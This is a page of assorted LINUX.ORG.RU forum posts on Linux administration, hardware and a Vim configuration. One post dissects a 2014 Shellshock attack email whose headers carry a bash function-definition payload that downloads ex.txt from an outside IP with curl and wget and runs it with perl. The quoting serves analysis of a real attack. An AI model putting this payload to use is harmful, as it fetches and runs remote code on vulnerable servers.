LINUX.ORG.RU

Избранные сообщения handbrake

SIP клиент

Форум — Desktop

Доброго времени суток. Рассмотрев ряд SIP клиентов под Linux, так и не нашел подходящего для себя. Собственно требования:

1) Наличие нескольких линий

2) Режим DND (отклонять все вызовы, кроме текущего разговора) - очень раздражает звон входящего звонка, когда разговариваешь уже с кем-то.

3) Возможность поставить звонок на удержание

4) Может есть во всех клиентах, но тем не менее - возможность легким движением руки выключить микрофон\динамик.

5) Auto Answer.

Ну и в качестве некритичных пожеланий - поддержка нескольких аккаунтов, режима конференции. На рабочем компьютере (под Windows) использую X-lite, и есть огромное желание начать работать на собственном ноутбуке с Linux Mint Cinnamon.

 , , ,

prolan
()

Организовать доступ по sftp в /var/www/

Форум — Admin

Есть пользователь, который должен писать/читать в директорию

/var/www
и больше никуда. Чтобы все остальные папки даже не читались. Пользователь подключается к серверу по WinSCP.

Чем это лучше всего сделать? Чем это проще всего сделать?

 ,

dopedopedope
()

Кодировка koi8-r в почтовых сообщениях.

Форум — General
Content-Disposition: attachment; filename="=?koi8-r?B?0NLJ18XULnBkZg==?=";

Как эту эдичку отконвертировать в нормальный вид? Получается отконвертировать только кириллицу в кириллицу.

 

steemandlinux
()

Посоветуйте 3G LTE модем

Форум — Linux-hardware

Опсосовский или нет — не важно. Из требований очевидная поддержка онтопика и, очень желательно, возможность работы в Модератор ОС без «фирменного ПО».
Ещё, насколько я знаю, некоторые модемы сейчас представляют из себя целый роутер с веб-интерфейсом, а usb выполняет роль сетевой карты. Мне такая концепция не нравится, модем должен быть модемом, управляться через modem-manager и всё такое, я считаю. Но, может, я ошибаюсь?

 , ,

gasinvein
()

Пример эксплуатации недавней уязвимости в bash

Форум — Security

Несколько дней назад обнаружил письмо, в котором явно делалась попытка проэксплуатировать недавнюю уязвимость в bash. По видимому, атака рассчитана на работу фильтров, в качестве которых могут быть shell скрипты.

Исходный вид письма:

From - Fri Oct 24 20:38:48 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received: by mail.my.domain.name.net (Postfix)
        id 1B8E6306033C; Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received: by mail.my.domain.name.net (Postfix, from userid 1001)
        id 055493060D8A; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from sub.domain.my.domain.name.net (unknown [11.22.33.44])
        by mail.my.domain.name.net (Postfix) with ESMTP id D3496306033C
        for <root@mail.my.domain.name.net>; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from USER (u16850951.onlinehome-server.com [74.208.184.251])
        by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP id s9OGPr2d018507
        for <root@localhost>; Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>
To: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
References:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
Subject:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;

В более удобочитаемом виде:

Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received: 
        by mail.my.domain.name.net (Postfix)
        id 1B8E6306033C; 
        Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received: 
        by mail.my.domain.name.net (Postfix, from userid 1001)
        id 055493060D8A; 
        Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: 
        from sub.domain.my.domain.name.net (unknown [11.22.33.44])
        by mail.my.domain.name.net (Postfix) with ESMTP 
        id D3496306033C
        for <root@mail.my.domain.name.net>; 
        Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: 
        from USER (u16850951.onlinehome-server.com [74.208.184.251])
        by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP 
        id s9OGPr2d018507
        for <root@localhost>; 
        Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>

Здесь мы можем видеть малоинформативный support@mata.com и не намного более информативный u16850951.onlinehome-server.com [74.208.184.251], с которого было отправлено письмо.

Заголовки:

To:
From:
Resent-From:

содержат следующее:

To: () {:;;};
        cd/tmp;
        curl.-sO.178.254.31.165/ex.txt;
        lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
        wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
        perl.ex.txt@mail.my.domain.name.net;,
        rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;

Здесь мы можем видеть 178.254.31.165/ на котором файла ex.txt конечно уже не было.

Заголовки:

References:
Subject:
Date:
Message-ID:
Comments:
Keywords:
Resent-Date:

содержат предыдущий случай, без добавленного к url домена:

References:() { :; }; 
        cd /tmp ;
        curl -sO 178.254.31.165/ex.txt;
        lwp-download http://178.254.31.165/ex.txt;
        wget 178.254.31.165/ex.txt;
        fetch 178.254.31.165/ex.txt;
        perl ex.txt;
        rm -fr ex.*;

Перемещено beastie из admin

sin_a
()

Терминальный сервак под 1С

Форум — Admin

Привет всем!

Возникла необходимость избавиться от винды, которая сейчас выполняет функции терминального сервера с 1С. Отсюда появилось пара вопросов.

1. Как сейчас работает нативная 1С под онтопиком?

2. Каким образом лучше полключать пользователей к серваку? VNC просьба не предлагать.

 ,

static
()

Подсчет транзитного трафика

Форум — Admin

Доброго времени суток!

Есть сервак, который служит роутером между отделом и глобальной сетью организации. На сетевушке, которая смотрит в локальную сеть организации, tcpdump'ом я ловлю кучу ненужного трафика (транзитного, типа широковещания\бродкастов и т.д.). Пробовал наставить руководство на путь организации нормальной инфраструктуры но они требуют статистику.

Так вот. Есть настроенный забикс, который подсчитывает входящий\исходящий трафик на срваке. Но мне нужно еще подсчитать этот самый транзитный. Вот никак не найду способ для этого. Может кто посоветует какой-нибудь способ. В принципе подойдет любой, чтобы считал количество пакетов\байт и т.д., а я то потом сам его обработать смогу.

Заранее благодарен. Евгений

 , ,

tempus
()

Сверхдешевый vps

Форум — General

что-нибудь за $5 в год имеется? нужно для одного проекта. память, процессор практически не имеют значения.

 

int13h
()

Прошу совета по настройке шлюза и домена с обвесом (я новичок)

Форум — Admin

Здравствуйте!
Сразу оговорюсь, что у меня опыта администрирования Linux не много, а домена ещё меньше. Поэтому прошу совета.

Нужно сконфигурировать сеть практически с нуля: поднять шлюз, домен, организовать файловый сервер, поднять Jabber, принт-сервер, vpn-сервер, zabbix-сервер, ftp-сервер и web-сервер.

В начале планирую развернуть шлюз. В сети видел много советов такого и такого плана. Вопрос по шлюзу пока один - стоит ли его подключать к домену и если «да», то как?

Сам домен в принципе нормально настраивается по инструкции. Так как роль домена не требует значительных ресурсов, то на этом же сервера планирую поднять принт-сервер (в принципе уже поднял, осталось им правильно воспользоваться), а так же файловый сервер (благо samba4 это позволяет из коробки). Возможно совмещать файловый сервер и контроллер домена не самая лучшая идея, но вроде логичная. Так же на этом же сервере собираюсь поднять Jabber с авторизацией через AD. В связи с этим второй вопрос - подскажите как Jabber сконфигурировать для этого (буду признателен за ссылку на ман)? И сразу третий - как прикрутить ICQ транспорт?

Ещё планирую поднять другой сервер на котором собираюсь развернуть FTP-сервер и Web-сервер, которые нужно открыть наружу. Посоветуйте ман по настройке FTP-сервера с авторизацией в AD. И как открыть FTP и Web наружу ?

 , ,

T1nK
()

Проблема с пробрасыванием видеокарты в kvm (vfio-pci)

Форум — Linux-hardware

Пробую пробросить видеокарту гостевой виртуальной машине (qemu/kvm). Последние драйвера установились на гостевой винде нормально. Но есть подозрение, что не все 16 линий pcie получила nvidia на госте, а только одну. Вот что пишет панель нвидии в инфо о системе: http://i.imgur.com/IYlDHTy.png . (Шина: PCI Express x1). При том, что в чистых виндах этот видик отображается как x16. Прошу знатоков посмотреть, что пишется в вашей панельке. Если кому-то надо могу сделать детальный отчёт, но на данный момент игрушки, такие как Max Payne 3, Metro 2033, Rage - заметно лагают и тормозят. Far Cry 3 на госте стартовать отказывается.

 , ,

reagentoo
()

ПО для живого телевещания мероприятий

Форум — Development

Всем привет! :)

Прошу посоветовать куда копать, чтобы реализовать искомое. Каков рекомендованный стэк технологий: ЯП, ПО, библиотеки, стандарты, протоколы, сервисы и пр?

Перечень требований, что имею на руках:

  • Базируется на свободном ПО;
  • Работа с клиентами через браузер;
  • Трансляция видео-, аудиопотоков с выбором качества на клиенте;
  • Обеспечение возможности монтажа видео-/аудио потоков с поддержкой наложения, картинок в картинках (любое кол-во, любой вложенности) и пр. эффектов в прямом эфире;
  • Возможность для посетителей подключиться в качестве зрителя с использованием своих микрофона/вебкамеры;
  • Отображение на сайте подключенных зрителей с возможностью получения инфы по каждому (что зритель о себе оставил/позволил отобразить);
  • Поддержка [группового] «звонка в студию»;
  • Поддержка «подмеса» аплодисментов/реплик от зрителей (когда можно по логике мероприятия - песня кончилась или семинар идет);
  • Групповые/приватные чаты/видеоконференции с шарингом рабочих столов для знакомств, обсуждений, пр.;
  • Интеграция с соцсетями и пр. сервисами.

Премного благодарен за любую полезную инфу по-существу! :)

 , ,

illy
()

Шейпер для локальной сети

Форум — Admin

Всем доброго времени суток!

В процессе наладки локальной сети на почти 200 машин, из которых пока только 40 подключены к интернету по 10Мб каналу, мне пришлось столкнуться с жуткими тормозами и абсолютно не честным разделением канала между клиентами. Любой включенный торрент наглухо убивал сетку. Два-четыре видеоролика в фулхд тормозили работу сетки почти до нуля.
Сегодня я, кажется, решил эту проблему и хочу поделиться.

Во-первых, огромная благодарность автору этой статьи: http://www.opennet.ru/base/net/adsl_shaper.txt.html
Статья старая, но вполне рабочая.
Буквальное её применение было для меня неудобно, потому что у меня в 5 раз больше сетка и, вдобавок, фильтрация по mac-адресам.

Собственно, вот результат: http://pastebin.com/zE5iKYf9

Мои добавления видны в строке 78, где происходит чтение списков в формате ip,mac и, далее, расстановка приоритетов для подсетей. Сделано немного топорно, но работает.

P.S. Надеюсь, кому-нибудь пригодится. К тому же, мне самому, в случае чего, здесь будет легче найти это решение, чем на опеннете :)
P.P.S. про htb.init знаю. Хотелось добиться полного понимания управления трафиком.

 ,

fractaler
()

Squid + SSL Bump не признает доверенные CA

Форум — Admin

Есть сабж, дешифрующий SSL и переподписывающий его фейковым доверенным у клиентов сертификатом. Всё работает ОК, но вот с одним из сайтов (https://sales.russoutdoor.ru) случился геморрой - сквида ругается на него, что мол не может валидировать сертификатЪ:

(71) Protocol error (TLS code: X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY)

SSL Certficate error: certificate issuer (CA) not known: /C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G2
Напрямую браузеры цепочке сертификации доверяют без проблем.

Окей, я экспортировал оба сертификата (СА и промежуточный) в PEM, подсунул дебияну в /usr/share/ca-certificates, сделал dpkg-reconfigure ca-certificates, они там увиделись, добавились. Ссылка на них в /etc/ssl/certs появилась. Хотя они(GeoTrust) там, по идее, и так были.

Но хрен там, ничего не изменилось. Ладно, я прописал в сквиде для верности «sslproxy_capath /etc/ssl/certs», но опять же пофиг, та же самая ошибка.

Из консоли та же ругань:

# openssl s_client -connect 193.150.115.88:443
CONNECTED(00000003)
depth=0 C = RU, ST = Moskovskaya obl., L = Krasnogorskiy rayon, O = Ltd. Russ Outdoor, OU = IT, CN = *.russoutdoor.ru
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 C = RU, ST = Moskovskaya obl., L = Krasnogorskiy rayon, O = Ltd. Russ Outdoor, OU = IT, CN = *.russoutdoor.ru
verify error:num=27:certificate not trusted
verify return:1
depth=0 C = RU, ST = Moskovskaya obl., L = Krasnogorskiy rayon, O = Ltd. Russ Outdoor, OU = IT, CN = *.russoutdoor.ru
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=RU/ST=Moskovskaya obl./L=Krasnogorskiy rayon/O=Ltd. Russ Outdoor/OU=IT/CN=*.russoutdoor.ru
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G2
 1 s:/C=US/O=GeoTrust Inc./OU=(c) 2007 GeoTrust Inc. - For authorized use only/CN=GeoTrust Primary Certification Authority - G2
   i:/C=US/O=GeoTrust Inc./OU=(c) 2007 GeoTrust Inc. - For authorized use only/CN=GeoTrust Primary Certification Authority - G2
---
Не пойму - чего ему еще не хватает.

blind_oracle
()

Изменение маршрута на blackhole

Форум — Admin

Для тестирования надо периодически убивать маршруты (заруливаю в blackhole для этого), но делать это двумя командами (ip r d существующий_маршрут;ip r a dest blackhole)скучно
Никак не могу раскурить ман на тему ip route replace (ip route change), чтобы изменить маршрут в blackhole (или в prohibit) одной командой, ни один вариант не проходит

mky, подскажико, а

 , ,

zolden
()

SAMBA и две сети

Форум — Admin

Есть две сети:
192.168.1.0/24 и 172.16.0.0/24.
Есть сервер с самбой в первой сети, включённый в AD.

[global]
        workgroup = MYDOMAIN
        realm = MYDOMAIN.LOCAL

        netbios name = SAMBA
        server string = "Global share"

        security = ads
        encrypt passwords = true
        dns proxy = no
        socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192

        auth methods = winbind
        template homedir = /mnt/samba/%D/%U
        template shell = /bin/bash
        client use spnego = yes
        client ntlmv2 auth = yes
        restrict anonymous = 2

        domain master = no
        local master = no
        preferred master = no
        os level = 0
        domain logons = no

        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes

        log level = 2
        log file = /var/log/samba/%M.log
        smb ports = 139
        interfaces = eth0
        bind interfaces only = yes

        winbind separator = ^
        winbind enum users = yes
        winbind enum groups = yes
        winbind use default domain = yes
        winbind nss info = rfc2307
        winbind refresh tickets = Yes
        winbind normalize names = Yes
        idmap config HOME:schema_mode = rfc2307
        idmap config HOME:range = 210000-3100000
        idmap config HOME:backend = ad
        idmap config * : range = 210000-3100000
        idmap config * : backend = tdb

        invalid users = root

[Docs]
  comment = Open share 
  path = /mnt/samba/Docs
  browseable = yes
  writable = yes
  create mask             = 0666
  directory mask          = 0777
  map acl inherit         = yes
  locking                 = no
  inherit permissions = yes
В этой самой сети всё хорошо, но клиенты из второй сети, заходя на шару несколько секунд шарятся по ней без проблем, после чего эксплорер на клиенте виснет на минуту, и так после каждой смены каталога.
Открывать файлы на шаре из второй сети невозможно - отваливается по таймауту.
Виндовые шары открываются без проблем.

Спасибо за внимание.

P.S. Samba 3.6.6

 ,

Yustas
()

Не определяется звуковая карта в гостевой Windows7 на kvm

Форум — General

Доброго времени суток! Имеется Debian 7 (консольный). На него поставлен kvm + libvirt. Установлена Win 7 на виртуальную машину, установлены дрова (http://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/). Пытаюсь добавить звуковое устройство, но винда не видит его. Конфиг машины:

<domain type='kvm' id='1'>
  <name>7</name>
  <memory unit='MiB'>512</memory>
  <vcpu>1</vcpu>
  <os>
    <type>hvm</type>
    <boot dev='cdrom'/>
  </os>
  <clock offset='utc'/>
  <features>
    <acpi/>
  </features>
  <devices>
    <emulator>/usr/bin/kvm</emulator>
    <disk type='file' device='disk'>
      <driver name='qemu' type='raw'/>
      <source file='7.qcow2'/>
      <target dev='vda' bus='ide'/>
    </disk>
    <disk type='file' device='cdrom'>
      <driver name='qemu' type='raw'/>
      <source file='virtio-win-0.1-81.iso'/>
      <target dev='vdc' bus='ide'/>
      <readonly/>
    </disk>
    <devices>
      <sound model='ac97'>
      </sound>
    </devices>
    <interface type='bridge'>
      <source bridge='br0'/>
      <model type='virtio'/>
    </interface>
    <graphics type='vnc' port='-1' keymap='en-us'>
      <listen type='address' address='192.168...'/>
    </graphics>
  </devices>
</domain>

 

speed_vm
()

chmod 000 /bin/chmod

Форум — General

Сабж. Я нашел два пути - реинастал coreutils и копия бинарника из какого-либо источника. Но говорят, что есть более красивый вариант. Так ли это? Не сплю, худею, мучаюсь.

 , ,

AXVill
()

Сборка приложения для публикации на плей маркет, android studio

Форум — Development

При загрузки на плей маркет апк были ошибки, некоторые я смог исправить, но вот это: «Загруженный APK не подписан. Создайте файл с подписью» - не понимаю как. А ещё я не смог настроить zipalign в градле, ошибка весьма странная, когда использую 17 версию buildToolsVersion «17» пишет что эму нужно версию выше, при использовании версии выше ошибка, исправление которой написано тут - https://code.google.com/p/android/issues/detail?id=70203. Но собственно их решение это не использовать последнии версии.

Что вообще такое ключ и зачем он нужен, и что ещё нужно будет сделать для того что-бы загрузить приложение на плей маркет?

 , ,

abs
()

выключить/включить Интернет для процесса?

Форум — General

требуется - для определенного процесса (ессно с его всеми потоками) полностью сымитировать действия «сетевой шнур вынули»/«сетевой шнур воткнули» одной (понятно что двумя - на «вкл/выкл» соотв.) командами в консоли

АПД. варианты с виртуалками/песочницами/прочим не катят, ибо процесс запускается как вполне себе гуевое приложение из ярлыка, работает со своими данными (каталогами) и т.д.

MinasFilm
()

Веб-разработка в Vim

Форум — Web-development

Предлагаю обсудить и поделиться опытом по веб-разработке в Vim.

Я использую Vim в терминале termite (со своими патчами для дефолтного копипаста и прочее) с цветовой схемой gruvbox: как для терминала, так и для Vim.

Этот клавиатура-ориентированный vim-like терминал я упомянул не столько потому, что у него реализованы режимы как Vim (insert mode, selection mode, выделение клавиатурой включая блочное), а потому, что у него есть приятная фича (которую можно наблюдать в iTerm2 для OS X) при работе Vim'а в нём, а именно цвет курсора изменяется в зависимости от цвета символа, на котором находится курсор, а также при выделении цвет выделения повторяет цвет слов/строк (но без инвертирования где нужно, может еще допилят), скриншот.

Менеджер плагинов:

Перед обсуждением плагинов и настроек, хочу подчеркнуть почему я использую менеджер плагинов vim-plug: перепробовав все известные менеджеры плагинов, включая недоменеджер pathogen, остановился именно на vim-plug потому, что он самый быстрый (параллельная установка/обновление, к-во потоков настраивается), имеет приятный интерфейс, краткий синтаксис, а самое главное позволяет настроить загрузку или отключение плагинов по filetype и/или первому вызову самого плагина, это не только ускоряет старт/работу Vim, но и помогает разрулить конфликты некоторых плагинов, простой пример:

Plug 'tpope/vim-endwise',   { 'for': [ 'ruby','vim','sh','zsh' ] }
Плагин endwise будет загружен только для ft=ruby,vim,sh,zsh, т.к. если этот полезный плагин работает одновременно с не менее полезным плагином delimitMate, то возникает конфликт в файлах с ft=css,js и везде, где после открытия скобки нужен автоматический переход на следующую строку и автозакрытие скобки.

Кроме всего прочего, отдельно от веб-разработки-related для самого вима у меня такое:

Автоматическое переключение на английский в Normal mode и обратно на предыдущий в Insert mode:

Конечно же нужно решать проблему с локалями (т.к. веб-разработка, в отличие от программирования иногда ведется на отличных от английского языках), а именно с неудобством при их переключении в Normal mode и обратно, самое лучшее решение, это установка в систему xkb-switch + плагин в Vim для него.

Plug 'lyokha/vim-xkbswitch'
let g:XkbSwitchEnabled       = 1
let g:XkbSwitchLib           = '/usr/lib64/libxkbswitch.so'
let g:XkbSwitchIMappings     = ['ru']
let g:XkbSwitchSkipIMappings = {'*' : ['[', ']', '{', '}', "'"]}
Теперь не нужно переключать на английский входя в Normal mode и на русский обратно в Insert mode, переключение происходит автоматически. Очень удобно.

Линейка номеров строк:

set nu
set nuw=4
autocmd InsertEnter * set nornu
autocmd InsertLeave * set rnu
в Insert mode - с номерами строк всё как обычно, в Normal mode (точнее после первого входа в insert и выхода обратно в normal) включается типа линейки: скриншот.

Автоматическая паста с отступами:

Чтобы навсегда забыть эту проблему и не включать перед пастой каждый раз режим пасты или использовать хитрые хоткеи, можно просто добавить настройку:

let &t_SI .= "\<Esc>[?2004h"
let &t_EI .= "\<Esc>[?2004l"
inoremap <special> <expr> <Esc>[200~ XTermPasteBegin()
function! XTermPasteBegin()
  set pastetoggle=<Esc>[201~
  set paste
  return ""
endfunction

Замена заменяемого без удаления (проблема забивания иксового буфера обмена):

Чтобы заменить слово или кусок окруженный делиметрами без удаления в иксовый буфер, можно использовать такую настройку на хоткей S :

nnoremap <silent> S :set opfunc=PasteReplace<CR>g@
function! PasteReplace(type, ...)
    if a:0
        silent exe "normal! `<" . a:type . "`>p"
    elseif a:type == 'line'
        silent exe "normal! '[V']p"
    elseif a:type == 'block'
        silent exe "normal! `[\<C-V>`]p"
    else
        silent exe "normal! `[v`]p"
    endif
endfunction
nmap SS S$
Теперь если нужно заменить слово без его удаления, можно просто: Sw , Si" , Si( , и т.п.

Проекты/сессии:

Плагин vim-startify - стартовый экран, можно настроить на сессии и букмарки, чтобы каждый раз не открывать то же самое в сплиты/табы/буферы.

Документация:

Для открытия документации в браузере (как минимум для того, что нас интересует: HTML, JavaScript, CSS, SCSS, LESS, Ruby, Rails, Django, PHP и т.п.) исходя из из ft= и положения курсора, удобно замапить на F1:

Plug 'Keithbsmiley/investigate.vim'
nnoremap <F1> :call investigate#Investigate()<CR>

Автокомплит и сниппеты:

В отличие от YouCompleteMe, автокомплитер neocomplete не тормозит (при работе и старте), не нужен питон (но нужен lua), а всё остальное такое же (для веб-разработки). Интегрируется с родным движком сниппетов neosnippet, который работает как с родными, так и универсальными vim-snippets (объединенные Snipmate & UltiSnip).

Настройка для навигации по комплиту через Tab (сам комплит всплывает автоматически, можно настроить обратное):

imap <expr><TAB> neosnippet#expandable_or_jumpable() ? "\<Plug>(neosnippet_expand_or_jump)" : pumvisible() ? "\<C-n>" : "\<TAB>"
smap <expr><TAB> neosnippet#expandable_or_jumpable() ? "\<Plug>(neosnippet_expand_or_jump)" : "\<TAB>"
if has('conceal')
  set conceallevel=2 concealcursor=i
endif

ZenCoding/Emmet:

Полнофункциональный Emmet для Vim: emmet-vim

Работает как нужно, но по дефолту неудобный (как по мне) хоткей <c-y>, , я настроил себе на jk . Т.е. Esc у меня kj , а дополнить jk . Первое время пользовался F4, привожу настройки, но jk намного удобнее. Просто на Tab настроить нельзя (иначе как пользоваться Tab?).

Plug 'mattn/emmet-vim',           { 'for': ['html','xhtml','css','sass','scss','less'] }
au FileType html,css,sass,scss,less imap <expr><F4> emmet#expandAbbrIntelligent("\<tab>")
au FileType html,css,sass,scss,less imap <expr>jk   emmet#expandAbbrIntelligent("\<tab>")
au FileType html                    imap <C-\>      <CR><CR><Esc>ki<Tab>
Плагин MatchTag - для отображения парных тегов.

Кроме Emmet'а для Vim существует аналог: Sparkup (нужен питон, не пробовал).

Отображение отступов:

Можно настроить каким символом и цветом отображать линии отступов, я настроил на хоткей <A-i> , альт как непечатаемый символ, так что проще посмотреть настройку склонировав репу на гитхабе и заглянув в .vimrc (или нажать C-v A-хоткей), скриншот.

Plug 'Yggdroot/indentLine'
let g:indentLine_enabled    = 0
let g:indentLine_char       = '¦'
let g:indentLine_color_term = 239
let g:indentLine_color_gui  = '#A4E57E'
nmap ^[i :IndentLinesToggle<CR>

Подсветка синтаксиса:

Plug 'tpope/vim-haml',            { 'for': 'haml'   }
Plug 'wavded/vim-stylus',         { 'for': 'stylus' }
Plug 'groenewege/vim-less',       { 'for': 'less'   }
Plug 'digitaltoad/vim-jade',      { 'for': 'jade'   }
Plug 'slim-template/vim-slim',    { 'for': 'slim'   }
Plug 'othree/html5-syntax.vim',   { 'for': 'html'   }
Plug 'cakebaker/scss-syntax.vim', { 'for': 'scss'   }

Plug 'hail2u/vim-css3-syntax',    { 'for': ['html','css'] }
augroup VimCSS3Syntax
  autocmd!
  autocmd FileType css setlocal iskeyword+=-
augroup END

Проверка синтаксиса:

Для проверки синтаксиса используется Syntastic + сторонние чеккеры:

Plug 'scrooloose/syntastic', { 'for': ['ruby','html','css', 'javascript', 'haml'] }
let g:syntastic_auto_jump           = 1
let g:syntastic_error_symbol        = '✖'
let g:syntastic_warning_symbol      = '►'
let g:syntastic_javascript_checkers = ['jshint'   ] " sudo npm install -g jshint
let g:syntastic_html_checkers       = ['jshint'   ] " sudo npm install -g jshint
let g:syntastic_ruby_checkers       = ['rubylint' ] " gem install ruby-lint
let g:syntastic_haml_checkers       = ['haml-lint'] " gem install haml-lint
let g:syntastic_css_checkers        = ['csslint'  ] " sudo npm install -g csslint
let g:syntastic_css_csslint_args    = "--ignore=zero-units"

Деобфускация / beautify'еры:

Плагин vim-autoformat работает со сторонними 'formatprograms', например js-beautify для HTML, CSS и JavaScript. autopep8 для питона и т.д. Всё это должно быть установленно.

Plug 'Chiel92/vim-autoformat'
let g:formatprg_args_javascript = "-j -q -B -f -"
noremap  <F8>   :Autoformat<CR><CR>
vnoremap <C-F8> gq

JavaScript:

Дефолтная поддержка JavaScript в Vim на довольно низком уровне, так что необходимы плагины как для самого JS, так и для библиотек, плагин javascript-libraries-syntax поддерживает почти все основные либы: jQuery, underscore.js, Backbone.js, AngularJS, RequireJS, Sugar.js, Jasmine и т.д.

Plug 'moll/vim-node'
Plug 'pangloss/vim-javascript',      { 'for': 'javascript' }
Plug 'jelera/vim-javascript-syntax', { 'for': 'javascript' }
let javascript_enable_domhtmlcss = 1
let g:html_indent_inctags        = "html,body,head,tbody"
let g:html_indent_script1        = "inc"
let g:html_indent_style1         = "inc"

Plug 'othree/javascript-libraries-syntax.vim', { 'for': 'javascript' }
let b:current_syntax       = 'javascript'
let g:used_javascript_libs = 'angularjs'

Также полезен tern_for_vim (сам Tern должен быть установлен), который умеет в 'Jump to the definition', 'Find the type' и т.д.

Пробельные символы:

По A-w показывает, по \-dw удаляет. Перевести все табы в пробелы (вдруг кто не знает), в Vim: :retab .

Plug 'ntpeters/vim-better-whitespace'
let g:better_whitespace_enabled = 0
nmap ^[w :ToggleWhitespace<CR>
nmap <Leader>dw :StripWhitespace<CR>

И кое-какие настройки по-мелочи:

set splitbelow
set splitright
inoremap  kj           <Esc>
map       gm           :call cursor(0, virtcol('$')/2)<CR>
nnoremap  <F12>f       :exe ':silent !firefox %'<CR><C-l>
nnoremap  <F12>c       :exe ':silent !chromium-browser %'<CR><C-l>
1-2 строки: для нормального открытия (слева направо) сплитов.
3: Esc на kj - мегаудобно.
4: для попадания на средину строки.
И последние две для предпросмотра в браузерах.

Мой ~/.vimrc

Кто что использует и как, кроме вышеуказанного?

 

VimCasts
()